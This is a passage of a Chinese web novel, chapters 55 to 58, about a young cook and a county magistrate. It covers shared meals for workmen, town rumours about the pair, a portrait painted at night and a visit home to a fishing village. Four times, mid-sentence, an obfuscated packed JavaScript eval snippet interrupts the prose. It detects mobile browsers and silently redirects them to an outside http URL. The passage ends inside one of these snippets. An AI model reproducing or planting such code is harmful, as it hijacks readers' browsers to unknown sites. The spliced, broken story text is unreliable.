随着女子的一声高呼,早就等不及的工匠们纷纷扔下手中的工具,一个个端着自带的碗在摊位前排起了长队。 钱婶先是用勺子为他们盛上糙米饭,再由云楚沅舀一勺鱼杂倒入工匠们的碗中,最后再添一勺汤,浓郁的汤汁浸润着每一粒米饭。 头一个打好饭的工匠小跑到不远处蹲下,迫不及待地尝了块鱼籽,“咔嚓”一声,鱼籽爆裂开来,细腻的口感伴随着咸香的汁液在舌尖散开。 软嫩爽滑的鱼白,入口即化,再夹起一个鱼泡,“啵”的一声咬破,里面的汤汁涌了出来,口感独特,满嘴留香。 食量大的工匠碗里的饭堆得冒尖儿,顾不上热气腾腾的鱼杂烫嘴,他大口大口地扒拉着往嘴里送,嘴角沾上了饭粒,却浑然不觉,只是专注地咀嚼,脸上露出满足享受的表情。 旁边的人见状,也纷纷效仿,一时间,碗筷碰撞的声音此起彼伏地响起。 钱婶用勺子刮着木桶内壁上的米饭,扬声喊道:“饭还有不少,不够的来盛!” 话音刚落,便有三四个工匠急匆匆地把碗递了过去,他们又探头看了看云楚沅面前的锅,遗憾地发现鱼杂没有了,只剩下了汤。 不过这汤汁也很下饭,工匠们陆陆续续将锅中的鱼杂汤瓜分了个干净。 裴昱臣过来时,正好看到工匠们心满意足地摸着肚子离开了,他走近一看,便发现云楚沅和钱婶抬起来的锅里什么也没剩。 裴昱臣的嘴角带着一抹浅笑,“他们一个个都撑得走不动道了,想来这鱼杂煲十分美味。可惜,在下来晚了一步,没吃上。”说完,他悄悄打量了一眼云楚沅的脸色。 开工的第一日,裴县令亲自监工,在与设计房屋的老工匠详细交谈过后,他才姗姗来迟。 云楚沅柳眉倒竖,用杏眸斜睨了身旁的小书生一眼,轻哼一声道:“吃饭不积极,思想有问题。别指望我会给你留饭。” 裴昱臣见她撂下这句话就不理他了,便亦步亦趋地跟在她的身后,表情无奈地轻声说道:“我身为县令,肯定要以身作则,怎么能提前离开呢?要不是陈县丞他们拦着,我都想和工匠们一起干。” 刷着锅云楚沅故意加大手上的动作,水珠飞溅到裴昱臣的身上,打湿了他的衣摆,“你爱怎么做便怎么做,与我有何干系?去去去,别在这里碍手碍脚!” “饿死你拉倒。”云楚沅小声嘟囔,湿漉漉的手拍在裴昱臣干净的长衫上,把他推搡到了一边。 裴昱臣不躲不闪,赔笑道:“好楚沅,是我不对,忘记了你昨日嘱咐我早点来尝你做的鱼杂煲。唉,这是我的重大损失,你别气了。” 旁边默默竖起耳朵的钱婶嘴巴微张,唉哟喂!瞧瞧他们这位县令大人,平日里那副清冷的模样哪里去了? 裴昱臣此刻就跟个犯了错的小媳妇似的,扯了扯云楚沅的衣角,脸上堆满了讨好的笑。 见他如此伏小做低,云楚沅气也消得差不多了,她抬起下巴朝桌上的坛子努了努嘴,“呐,只剩下腌菜了,下次再失约,你就喝西北风去吧。” “一定不会了。”裴昱臣松了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000184|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看样子楚沅是不计较了,他取碗盛饭,坐在桌边,就着一碟小菜吃了起来。 云楚沅看他吃腌菜都吃得津津有味,心里不太舒服,小声骂了一句:“我真是欠了你的。” 她取出桶里剩下的碎鱼籽,又拿了两个鸡蛋,手脚麻利地做了一盘鱼籽煎鸡蛋。 “哐当”一声,云楚沅蹙着眉梢,樱唇轻抿成一条紧绷的直线,不耐烦地将盘子撂在桌上。 裴昱臣夹腌菜的动作一顿,抬头对上云楚沅瞪圆的眼,他心头微动,笑着叹了口气:“唉,楚沅你还真是刀子嘴豆腐心,在下何德何能,能有你这样一位人美心善的小厨娘。” 见云楚沅神色松动,裴昱臣嘴里不停吐出好听话:“楚沅,你真是这世间超凡脱俗、独一无二的女子,冰雪聪明,心地善良,与你相识是在下莫大的荣幸。” 云楚沅的唇角不受控制地往上翘起,露出一排贝齿,旋即她又意识到不妥,立马轻咬住下唇,努力将脸上的笑容往回憋。 “哼,油腔滑调。”云楚沅双手抱于胸前,表情十分傲娇。 裴昱臣眼神诚恳地说道:“在下所言句句发自肺腑,绝无半分虚假。” 云楚沅的嘴角微微上扬:“既然如此,我便原谅你这一回,想必你也不是故意放我鸽子的。”说罢,她故意将头扭向一边,精致的侧脸透着一丝娇俏。 “不知楚沅你晚膳要做什么?”裴昱臣巧妙地转移了话题。 “阿汤哥去村里收鱼了,晚上我打算做鱼饺给大伙吃。” 云楚沅开口讲起来鱼饺的做法,裴昱臣一边吃饭一边倾听,时不时还会十分捧场地夸上两句。 不远处的钱婶磕起了瓜子,盯着那对聊得热火朝天的男女来回看。 啧啧啧,这两人一个心软,一个会哄人,还真是绝配。 心软的云楚沅将裴昱臣的不守信用抛到了脑后,在阿汤哥将鱼送来后,云楚沅和钱婶开始准备下午要做的鱼饺。 刮鳞剔骨留下鱼肉,将其剁成细碎的肉糜,拌入薯粉制成饺皮,内陷用肥瘦相间的猪肉混合鱼肉末和虾米末拌成。 云楚沅舀一勺调好味的馅料放在鱼肉皮中,先中间对折再向两边收拢,轻轻捏出褶,一个鱼饺便包好了。 饱满精致的鱼饺排列在竹匾上,宛如一个个胖嘟嘟的小元宝。 酉时一刻,工匠们做完活计往小棚子这边赶来,云楚沅一抬眼便看见裴昱臣混在其中和工匠们闲聊。 走在一群古铜色皮肤的汉子中,小书生白的晃眼。 周遭皆是胡须拉碴、坦胸露臂的男人,他们的脸被烈日晒得黝黑粗糙,敞着衣衫,挥舞着粗壮的手臂高谈阔论,豪放不羁。 与他们形成鲜明对比的裴昱臣,面庞白皙,眉如墨画,身姿挺拔,他穿着一袭纤尘不染的青衫,袖口轻轻摆动,带着几分温润儒雅。 云楚沅招呼着钱婶将鱼饺下入锅中的沸水中,这饺子就是要现煮现吃。 鱼饺浮出水面,工匠们也排起了长队,云楚沅接过碗后,放上一点盐和酱油,盛上一勺鱼饺汤,再撒上一把葱花,递给他们。 56. 谣言 轮到裴昱臣打饭,云楚沅从旁边的桌子上拿了个干净碗,为他盛了满满一大碗鱼饺。 “诶,为啥裴县令的饺子那么多。”前一位工匠艳羡不已,他还未离去,便看见了这一幕,他碗里的鱼饺还没有县令大人的一半多。 排在后面的工匠们见状,不禁交头接耳了起来。 “云姑娘偏心极了,给裴县令盛得这般多,旁人可都没这样的待遇。” “瞧这架势,云姑娘怕是对县令大人有几分意思。” “忒不公平了,我今儿个可是干了满工时,这几个饺子还不够我塞牙缝的呢。” “咋回事啊,云姑娘,就裴县令这小身板哪用得着吃这么老些。” 听着工匠们你一句我一言地声讨云楚沅,裴昱臣刚想为她辩解,便听到女子娇憨地说道:“哎呀,我怎会偏心呢?许是你们想多了吧。” 云楚沅杏眸微睁,满脸无辜,纤长的睫毛扑闪扑闪,宛如受惊的小鹿,她的表情就像是被众人突如其来的指责给惊到了。 有人不甘地提高了声音:“云姑娘,你瞅瞅,裴县令碗里的饺子都快溢出来了,还说不是偏心!” “诶,那是我手抖了。”云楚沅把头一歪,眨巴着大眼睛,手指绕着身前垂落的发丝打转,模样天真,活脱脱像个不谙世事的孩子。 “……”那人一噎,只觉这姑娘好厚的脸皮,竟然睁眼说瞎话。 有人八卦地问道:“云姑娘,你是不是和裴县令私交甚笃啊?” 云楚沅继续装傻充愣:“县令大人如此亲民,和临海县的百姓都很亲厚呀,我方才还看到你们有说有笑,想必你私下里和裴县令还称兄道弟吧。” 她的粉嫩唇瓣上下翻飞,小嘴“嘚吧嘚吧”说个不停,把所有质疑她的人怼的哑口无言。 裴昱臣端着鱼饺坐在了午时用饭的位置上,静静凝视着女子生动活泼的背影,他的脸上浮现一抹淡淡的笑意。 他慢条斯理地用勺子舀起一枚粉白的鱼饺,汤水滴到碗里发出清脆的声响,启唇轻咬,薄软的外皮破开后,鲜甜的汁水瞬间在嘴里四溢开。 裴昱臣睫羽微垂,喉结滚动,咽下口中的鱼饺,鱼肉做成的面皮软嫩又有弹性,里面的猪肉馅紧实又多汁,还带着一股海鲜的鲜味。 “裴大人,你也不管管云姑娘。”一位工匠挨着裴昱臣坐了下来,表情郁闷,显然是没有争论过云楚沅。 享受着美味的裴昱臣被人打扰也并未生气,他装模作样地叹了口气,“唉,楚沅向来是个有主意的,我也拿她毫无办法。” “你们也不要说她的不是,毕竟是她主动提出要无偿给你们做吃食的,这样心善的女子临海县找不出第二个。”他言语间满是宠溺与维护,眼底似有化不开的柔波。 这番话令周围偷听的工匠们皆不好意思地低下了头,他们确实不该对云姑娘心生不满,这鱼饺不收银子,人家爱给谁就给谁,他们无权指摘。 “大人您说的对,我待会去向云姑娘道个歉,偏心就偏心吧,我们有的吃就不错了。”工匠被裴昱臣一席话说得无地自容,面上有些羞愧。 可接下来裴昱臣的话令他们一言难尽。 “再说了,楚沅可能真的是手抖了,你们何必斤斤计较呢。”裴昱臣用勺子搅动着碗里还剩的许多鱼饺,面不改色地偏袒小厨娘。 原本还觉得县令大人说话在理的众人全都黑了脸。 不是一家人不进一家门,这裴县令一本正经胡说八道的能力和云姑娘不相上下。 工匠们你瞧瞧我,我看看你,默默地离开了小棚子,看来人家的地盘不欢迎他们这些外人。 云楚沅瞧着围在裴昱臣四周的工匠们离开了,这才走了过来。 “他们向你告状吗?说了我什么坏话呀?”云楚沅嘟着嘴,拱了拱鼻子,对那些事儿多的汉子们嗤之以鼻。 小书生比他们那群壮汉瘦那么多,她为何不能多给他盛点饭,真是大惊小怪。 裴昱臣发出一声清朗又不失温和的轻笑:“呵呵,他们现在可能在说我的坏话。” 云楚沅不明所以地看了他一眼,裴县令但笑不语,没有继续说下去,云楚沅心里揣测,他可能是为她打抱不平了。 直到云楚沅收摊回到云记食肆才知晓裴昱臣没说完的话是什么意思。 短短一个时辰的时间,裴县令冲冠一怒为红颜的事迹传遍了大街小巷,就连食客们都光明正大地在云记食肆议论。 “诶,你们听说了吗?裴县令和工匠们起了冲突,不光发生了口角,还动起手来了呢!” “对对对,我也听我家那口子说了,好像还是为了云姑娘呢。” “我二姑家舅舅的女婿就在现场,说是有人调戏云姑娘,被怒火中烧的裴大人痛揍了一顿。” “什么呀,你这消息不靠谱,我表姐夫明明跟我说的是裴县令坦言他在家里管不住云姑娘,被人给嘲笑了,这才起了起了争执。” “不对不对,我听说的是因为有人说裴县令和云姑娘不清不楚的,日日待在一起也没个名分,这才惹恼了县令大人。” 听到这些谣言的云楚沅满头问号,这都是什么跟什么呀!一碗鱼饺竟然引发了如此离谱的争论。 本来云楚沅还想解释一下,可她一露面就被人团团围住,询问她何时与裴县令成亲,在他们眼中她俨然已成为裴昱臣未过门的娘子。 躲在后院的云楚沅郁闷地揪着花花草草,她现在都不敢出去了。 钱春香出去打听了一圈八卦后,兴冲冲地对她说:“楚沅,现在外头已经传出第八个版本了,这个是说你和一名工匠眉来眼去,令裴县令吃醋了,他们为了你大打出手。” 云楚沅丢掉手里揉烂的叶子,气咻咻地说道:“两男争一女的戏码?这些人还真是会脑补。” 她现在很想知道工匠们到底在外面胡言乱语了些什么! 天色暗了下去,食肆里的客人都走没了,云楚沅才从后院溜了出来,乘马车回到了县衙。 云楚沅直奔裴昱臣院子,一路上顶着丫鬟小厮们探究的视线,却还要佯装镇定。 “裴大哥,外头的风言风语你听说了没?” 话音刚落,云楚沅才发现小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009191|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟和小妹也在主院,他们正在看裴昱臣作画。 “阿姐,你怎么回来的这么晚?” “阿姐,出什么事了?什么风言风语啊?” 云楚清和云楚河两人跑了过来,一人一边牵住长姐的手,带着她往石桌的方向走。 云楚沅走进一看,烛台下的裴昱臣正在描摹院子里栽种的菊花,秋日里的菊花开得绚烂,花瓣层层叠叠舒展着,像是一把把精美的团扇。 “咳,没出什么事,你们两个小不点,不在自己的房间里休息,怎么跑来打搅裴大哥?”云楚沅转移了话题。 云楚河撇了撇嘴:“你日日早出晚归,把我和小妹留在县衙里,我们两个都快无聊死了。” “阿姐和裴大哥最近在忙着县里修路建房的事,确实没工夫陪你们玩,要不然我把你们送回小渔村待几日吧。”云楚沅满脸歉意地揉了揉弟弟妹妹的脑袋,最近她忙得团团转,无暇照顾他们。 乖巧懂事的小妹点了点头:“阿姐,我都听你的。” “今日阿汤哥来送货的时候还提到你了,你想不想回去陪陪你师傅。”云楚沅看向面露纠结的小弟。 云楚河抿了抿嘴:“好吧,我也许久没去看咱们家养的鱼了,阿姐,我回去帮你看看。” 云家的养殖区雇了阿汤哥替他们照看,偶尔其他村民也会去帮忙投食、清理,云楚沅倒是不怎么担心,不过她也不会打击小弟的积极性。 “行,那咱家的鱼塘就交给你管理了。”云楚沅充满鼓励地拍了拍云楚河的小肩膀。 “阿姐,我回去帮你喂鱼。”云楚清见状立马举起手来,表示自己也很能干。 云楚沅笑眯眯地摸着她的头顶:“清清,你也很厉害。” 裴昱臣见她三言两语就安排好了两个孩子的去向,这才开口:“楚清喜欢我院子里的花,又怕摘下来后它们就枯萎了,于是我便为她画了一副菊花图。” 云楚沅拿起桌子上颜料还未干的画作,凑近仔细欣赏了起来,“裴大哥画技精湛,这菊花画得就跟真的似的,这些小花瓣,每一片都那么精致。” “姑娘谬赞了,你要是喜欢我也为你画一副。”说罢,裴昱臣就重新拿了张宣纸,准备提笔作画。 云楚沅眼珠子转了转,轻点着下巴,娇声说道:“今日良辰美景,有我这位大美人在,干嘛要画花呀,干脆直接画我吧!” 裴昱臣闻言一愣,抬头看向云楚沅,微风拂过,吹动着她的青丝轻轻飘散开,女子身上淡粉色裙裳随风轻摆,衬得她的身姿如细柳般婀娜曼妙。 见裴昱臣没有拒绝,云楚沅趁热打铁,向前迈了一小步,双手合十,声音轻柔婉转地央求:“裴哥哥,这花开得好看,再配上我的身影,那肯定会是一幅完美的画面。” 瞧着眼前人比花娇的场景,裴昱臣心中一动,嘴角微微扬起,露出一抹温和笑,“既然楚沅如此请求,那我便试一试,只是不知能否画出你的神韵了。” 云楚沅听闻他答应,顿时喜上眉梢,眼神激动,她忙不迭地寻了个身后有繁花相衬的绝佳位置,摆出优雅的姿势站好。 57. 回小渔村 暮色如墨,一轮皎洁的明月高悬于天际,如银纱般撒在庭院中。 裴昱臣端坐于石桌旁,面前铺展着一张素白的宣纸,砚台里的浓墨散发着淡淡的松香气。 他抬起眼眸,与笑意盈盈的云楚沅视线交汇,灯笼摇曳着暖黄的光晕,映照着她精致的脸庞。 晚风拂过,撩动了满院盛开的花,静立其中的女子宛如坠入凡间的仙子。 裴昱臣蘸取墨汁,手腕灵动地转动,狼毫笔尖在白纸上游走起来。 先是勾勒出女子纤细的轮廓,再细细雕琢她柔美的五官,从秀气的眉梢到明亮的眼眸,从小巧的琼鼻到轻抿的朱唇,将她的神态一点点捕捉进画中。 而后继续描绘着每一处细节,女子发髻上的珠翠、衣裙上的刺绣、绣鞋上的图案。 不过须臾,一名娇俏的女子跃然于纸上,画中姑娘眉眼含笑,顾盼生姿。 “好了。”裴昱臣放下毛笔,看了半晌后轻声说道。 云楚沅走到石桌前,俯身查看画作,她的眼中闪过几分惊喜之色,脸颊微红,笑着称赞:“裴大哥,你画得真好!” 裴昱臣抬眼看向她:“此画虽能描绘容貌,却难以体现你万分之一的风姿。” “哎呀,裴大哥净会哄我开心。”云楚沅轻抚着脸蛋,笑的合不拢嘴。 云楚河和云楚清两兄妹趴在桌前好奇地探头看。 “哇,这还是我阿姐吗?”云楚河表情夸张的张大嘴巴,又凑近看了好几眼。 云楚沅脸色一变,用手指戳了戳他的脑袋,“狗嘴里吐不出象牙,你问问你裴大哥,他画的是谁?” 裴昱臣看着眼前生气的女子和讨饶的男孩,嘴角露出一抹笑,“楚沅别气,楚河的意思定是这画中女子不如你貌美。” “听到没!跟你裴大哥好好学着点儿。” 好哄的云楚沅嘴角控制不住地轻扬,这小书生怎么回事?最近是到哪里进修了吗?嘴巴跟抹了蜜一样甜,总是能在她想要发火时把她哄开心。 “裴大哥不老实!”云楚河吐了吐舌头,转身拉着小妹一溜烟地跑走了。 “嘿,这个臭小子,真是欠教训!”云楚沅双手掐腰,对着男孩跑远的背影叫唤。 裴昱臣出声安抚气鼓鼓的云楚沅:“小孩子不懂事,别放在心上,回头我好好教教他如何欣赏美人图。” 云楚沅的注意力转移到他的身上,她双手背在身后,围着裴昱臣转了一圈,笑嘻嘻地问:“裴大哥,你是不是偷吃蜂蜜了?不然怎么说话这么甜。” 裴昱臣眼神诧异地看着她:“此话怎讲?” 云楚沅施施然地坐在桌边,双手撑着下巴,眨巴着大眼睛,一脸探究地看向小书生,“那裴大人哄女人的功力是与生俱来的喽?” “楚沅,我没有哄你,我说的每句话都出自真心。”裴昱臣正色道。 云楚沅小脸一红,要命,小书生是怎么能面不改色说出这些羞人的话的。 要是换个男子来说这话,云楚沅保准会觉得油腻,偏偏从一本正经的县令大人嘴里说出来,就莫名让人相信他没撒谎。 “咳,我姑且信你。”云楚沅揪了揪衣角,刚准备离开,又想起自己前来的目的。 “对了,裴大哥,你听没听说坊间的流言蜚语?” 裴昱臣一边收拾着桌上的笔墨,一边随口说道:“清者自清。” 云楚沅撅了撅嘴:“那些乱嚼舌根的,净编排咱俩的事儿。你知不知道,你英明神武的形象已经荡然无存了,如今你在百姓们口中,成了个为女子犯浑的男人。我都怀疑是不是和徐家沾亲带故的人传出的谣言,故意毁你名声。” “无事,时间久了,谣言总会不攻自破的。” 云楚沅眼神怀疑地打量着裴昱臣,要是以前,这人肯定会训斥这种有损她清白的事情的,现在怎么态度一百八十度大转变呢? 裴昱臣被炽热的眼神看得浑身不自在,他也知道自己模棱两可的态度,令她感到不解。 可有些事情在没准备好之前,他不想过多透露,经过深思熟虑,裴昱臣觉得他未来的规划可以有些变动。 —— 晨雾未散,小土路上传来“哒哒哒”的马蹄声。 渐渐地,坐在马车里的人嗅到了空气中开始弥漫起的咸湿气息,那是大海特有的味道,熟悉又亲切。 马车停下后,绣着莲纹的鞋尖从帘子后露出,一位女子缓缓走了下来,是云楚沅带着幼弟妹回到了小渔村。 几缕调皮的发丝被晨风吹起,云楚沅微微上扬的嘴角带着一抹淡淡的笑意,时隔多日,她又回到了最初的地方。 “师傅我回来啦!”云楚河松开阿姐牵着他的手,撒丫子跑远了。 扎着两个可爱羊角辫的云楚清乖乖依偎在长姐的身旁,“哥哥真调皮,我陪着阿姐一块走。” 云楚沅深吸一口气,心中满是感慨,她牵着小妹加快脚步向村子里走去。 小渔村的村民们早已注意到三人的到来,他们纷纷放下手中的活计,脸上露出和蔼可亲的笑容。 当云楚沅走近,人群中爆发出一阵热烈的欢呼声。 孩童们像一群欢快的小鹿般跑过来,围着云楚沅蹦蹦跳跳,兴奋地高喊着:“云姐姐回来啦!云姐姐回来啦!” 一位大娘上前拉着云楚沅的手,上下打量着,“哎哟,楚沅啊,可算是把你给盼回来了,怎么住在县城里还瘦了呢。” “大娘,许是我长高了,变苗条了。”云楚沅笑眯眯地回道。 旁边的婶子见状,立马凑过来将手中刚蒸好的馍馍塞进云楚沅的手里,“楚沅啊,尝尝我做的吃食。” 云楚沅好笑地接了过来,撕下一小块白软的馍塞进嘴里,“嗯,好吃。” 几个年轻的姑娘簇拥在云楚沅身旁,贴心地帮她整理略微凌乱的裙摆,七嘴八舌地询问着县城里的事。 有姑娘挽着云楚沅的手臂,满脸羡慕地说道:“云姐姐在外面肯定长了不少见识,快给我们讲讲呗。” “行行行,我给你们讲讲我为工匠们做伙食的事……” 瞧着村民们热情迎接的样子,云楚沅的心中如同有一股暖流淌过,小渔村村民们的关心,久违地让她感受到了家的温暖与安宁。 与村民们寒暄过后,云楚沅回到家放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013995|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包袱,开始打扫起来,院子里多了不少落叶,她拿着笤帚清理了一番。 而后她换上一身旧衣裳,戴着草帽出门,往滩涂的方向走去,准备去视察一下她的养殖区。 身上的粗布衣裳被海风吹得鼓胀起来,淤泥在她脚下发出轻微的“噗嗤”声。 云楚沅蹲下身子,小心翼翼地翻看贝类的生长情况,偶尔有小螃蟹横着爬过她的脚边,停下来向她打招呼,仿佛是在欢迎她的到来。 养殖区整齐排列的网在水面上微微晃动,云楚沅停下脚步,俯身凑近,用纤细的手指轻轻拨动水面,目光紧紧追随着那些在水中自由穿梭的小鱼小虾。 嗯,不错,即便她不在,这些海鲜们也都长得很好,想来是她之前育苗工作做到位了,除此之外,也离不开村民们的帮衬。 云楚沅巡视过养殖区后,又去了加工坊,自从临海县也开设了几间海产品加工坊后,这里的村民们活计就没那么累了,一边干活,一边还能聊聊天。 “林家小儿子亲事定下了吗?什么时候啊?” “定下了,下个月中旬。” “嘿,怎么这么着急。” “能不急吗,林家婆娘可是盼着她小儿子成家盼了好几年了,入赘她也愿意。” “小贝那孩子身娇体弱的,在家靠他老娘养,成亲了还不得靠他媳妇养啊。” “人家一个愿打,一个愿挨,你管那么多呢。” 云楚沅一走近加工坊,便听到几个婶子闲聊的内容,她不免有些诧异,那位“林妹妹”竟然这么快就要成亲了,想当初林大娘还想撮合她和林小贝呢。 “林小贝要嫁给谁啊?”云楚沅好奇地凑了过去。 婶子们一见是她来了,连忙站了起来,“哎哟,楚沅回来啦,快坐下快坐下。” 云楚沅不客气地找了个凳子坐下,“婶子快跟我说说,是哪家姑娘。” 一位婶子见她如此八卦,笑着打趣:“你这丫头,自个还没出嫁,对别人的亲事倒是上心。” 另一位大娘回答道:“林家小子要入赘到县城里去了,女方是东市卖猪肉的黎娘子。” 云楚沅差点惊掉下巴,这位黎娘子她可不陌生,之前在东市摆摊时,她们两人还经常聊天,那姑娘为人豪爽,就是人长得五大三粗的,年近二十了都还未成亲。 “竟然是黎娘子!他们两人是如何凑到一块的?”云楚沅感慨不已,她认识的两个人,明明八竿子打不着的样子,最后却凑成了一对,这种感觉十分新奇。 “听说是林小贝和他娘去县城买东西时走散了,黎娘子好心相助,两人就那么看对了眼。” 云楚沅啧啧称奇,这就是缘分天注定啊,林小贝好不容易出趟门,还迷了路,结果好巧不巧遇上了倾心之人。 “诶,楚沅,听说今日黎娘子来林家商量成亲的事宜了,你现在去说不定能碰上。” 云楚沅心里痒痒的,她还真挺想去看看热闹的,反正她和兰花嫂子关系不错,一回村上门拜访也是应该的。 想到这里,云楚沅告别了几位婶子,回家提上几包从县城买回来的点心,急匆匆往林家赶去。 58. 鲍鱼红烧肉 “笃笃笃!” 站在林家那扇有些斑驳的木门前,云楚沅抬起手轻轻叩响了门扉。 不多时,门“吱呀”一声打开了,林小鱼出现在了门口,见到来人是云楚沅,她先是一愣,随即脸上绽开了灿烂的笑容。 “娘,嫂子,你们快来看是谁来了!”林小鱼朝门内喊了一嗓子,接着凑上去挽住云楚沅的胳膊晃个不停,“云姐姐,你怎么来啦?一段时日不见,我想死你啦!” “我送楚河和楚清回村,顺道来看望一下你们。许久不见,我也很想你。”云楚沅跟着林小鱼踏入林家大门,正好遇上从主屋出来的钟兰花。 “谁来了?”钟兰花听见小妹的嚷嚷声,疑惑地走了出来,抬眼正好瞧见手上提着东西的云楚沅。 她面露惊喜地走上前,“哎哟,是楚沅来啦,欢迎欢迎。” 院子里热闹的说话声,将屋子里的林大娘吸引了出来。 “云丫头,快进屋里。”林大娘乐呵呵的,眼角的纹路深了几分,粗糙的手拉住云楚沅,上下打量着她,“几日不见,瘦了。” 云楚沅捏了捏自己脸颊上的软肉,小声嘟囔着:“有吗?我怎么觉得我变圆润了呢。” “好不容易来一趟,待会留下来吃饭吧。”林大娘热情地说道。 “好嘞。”云楚沅点点头,动作轻柔地打开一包点心,“大娘,这是我特意给您带的点心,您尝尝。” 精致小巧的酥饼,形状各异,色泽诱人,上面还点缀着些许芝麻,散发着淡淡的甜香。 大娘看着这些点心,眼神里满是欣慰,嘴里念叨着:“你这孩子,回来一趟还惦记着我这个老婆子,下回来不用带东西。” 两人朝着主屋走去,林大娘拍了拍云楚沅的手,凑近她的耳畔,神秘兮兮地说道:“云丫头你来的正好,我介绍一个人给你认识。” 云楚沅心念一动,面上装作好奇地问:“谁呀?” “你小贝哥要成亲的女子,家住临海县东街的黎娘子。”林大娘说到这里,挺起了胸膛,显然小儿子的这门亲事令她十分满意。 云楚沅立马脸上带笑地说道:“恭喜恭喜,小贝哥成亲那日,我一定要来喝杯喜酒。” “就在下个月十五号,到时候喜宴摆在这,你可记得来啊。”林大娘的声音里满是藏不住的喜悦。 走近主屋,云楚沅一抬眼便瞧见了坐在椅子上的女子,林小贝正为她倒茶水。 女子的骨架很大,宽厚的背像一堵墙。四方脸上有一双炯炯有神的大眼,浓密的眉毛又粗又黑,高挺的鼻梁下,嘴唇宽厚,笑起来时露出一口洁白的大牙。 “云姑娘,好久不见,你出落得愈发标致了。” 黎娘子站起身来迈步走向云楚沅,握住了她的手,笑得见牙不见眼。 云楚沅倒吸一口气,她感觉自己的手骨差点被捏碎,用力抽出手来甩了甩,尴尬地笑了笑:“黎娘子,许久不见,你还是那么劲大。” 黎娘子后知后觉地意识到弄疼了她,赶忙道歉:“对不住了云姑娘,我又没控制住力气。” “呵呵,没事没事,人逢喜事精神爽嘛,我懂!”云楚沅揶揄地看了她一眼,又瞅了瞅后头一副小媳妇样的林小贝,露出了一个意味深长的笑。 “云丫头,小黎,你们认识呀?”林大娘表情惊讶。 “是啊,大娘,我们一起摆过摊。”云楚沅笑着回道。 如今她开起了食肆,黎娘子的小摊位也升级成了猪肉铺,她们两人还有合作关系,湘香馆的猪肉都是从黎娘子那订购的。 林大娘听了她们结识的经过后,脸上笑意不减,“哈哈,小黎和我们小渔村的人还真是缘分不浅,合该是我们林家的媳妇。” 黎娘子拱手道:“有这份姻缘是我的荣幸,大娘,我一定会好好待小贝的。” 林大娘欣慰地点了点头:“小黎,有你这句话我就放心了。” 站在后头的林小贝羞红了脸,悄悄抬眼望向黎娘子宽厚的背影,眼神里全是倾慕之色。 目睹了这一幕的云楚沅感慨不已,有缘千里来相会,黎娘子和林小贝在这个时代算是大龄剩女和大龄剩男了,而且还是少见的女强男弱,可他们看起来真挺般配。 传统观念讲究门当户对,男主外女主内,可姻缘一事没有对错,适合自己的才是最好的。 —— 午时,云楚沅自告奋勇进了厨房,要添一道好菜,为这对即将结为连理的未婚男女庆祝。 正好黎娘子带来了一整块上好的五花肉,她准备做个鲍鱼红烧肉给他们尝尝。 肥瘦相间的五花肉被云楚沅切成大小均匀的方块,鲜嫩的肉质微微泛粉,每一块都层次分明。 鲍鱼个头大,圆润饱满,云楚沅小心地将鲍鱼从坚硬的外壳中取出来,洗刷干净后,用刀轻轻在上面划了几道浅浅的痕迹,以便其更好地吸收汤汁。 油热后,将其放入锅中,油脂慢慢地渗了出来,发出“滋滋”的声响,五花肉的皮在高温的作用下收紧,颜色变得略微金黄,散发出诱人的焦香。 待五花肉煎至两面金黄后,云楚沅往锅中加入葱姜蒜爆香,接着倒入适量的酱油和糖,翻炒均匀,给五花肉上色,让它们裹满浓郁的酱汁。 再加入没过食材的清水,烧开后用小火慢炖。 随着时间的推移,锅中的五花肉渐渐变得软烂入味,汤汁也愈发浓稠,云楚沅用勺子舀起又倒回,汤汁像是流淌的琥珀。 而后放入鲍鱼继续炖煮,等它们充分汲取汤汁后便可出锅了。 红亮的酱汁包裹着五花肉和鲍鱼,令人垂涎欲滴。 林家其他人还没有回来,他们几人只能围着一大盘鲍鱼红烧肉干瞪眼,林大娘分出来了一些,咽了咽口水说道:“诶,不等他们了,咱们先吃吧。” 林大娘率先动了筷子,她夹起一块肥瘦相间的五花肉送入口中,眼睛瞬间亮了起来,“嚯!真好吃,这红烧肉炖煮得恰到好处,软糯香甜。” 钟兰花也夹起一块五花肉放入口中,先是感受到外皮的弹牙,而后是里面入口即化的肉,“肥而不腻,咸甜适中,我喜欢。” 尝过五花肉的林小鱼,忙不迭又尝了一口鲍鱼,她表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 